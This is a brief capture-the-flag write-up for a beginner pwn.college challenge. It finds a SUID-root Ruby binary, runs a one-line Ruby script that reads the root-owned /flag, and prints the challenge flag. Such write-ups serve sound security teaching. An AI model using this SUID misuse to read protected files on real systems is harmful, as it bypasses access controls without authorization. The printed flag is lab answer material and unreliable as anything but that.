Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/ruby, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/ruby

Output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/ruby
  • The s in -rws indicates it’s a SUID binary.
  • ruby runs with root privileges.

🚀 Exploitation

We can simply use ruby to read flag from /flag as its suid set.

echo 'puts File.read("/flag")' > /tmp/readflag.rb
ruby /tmp/readflag.rb

Output:

pwn.college{0myJuALsill8aQVy80rpPn_J4mn.dVDOxwSM0IzMyEzW}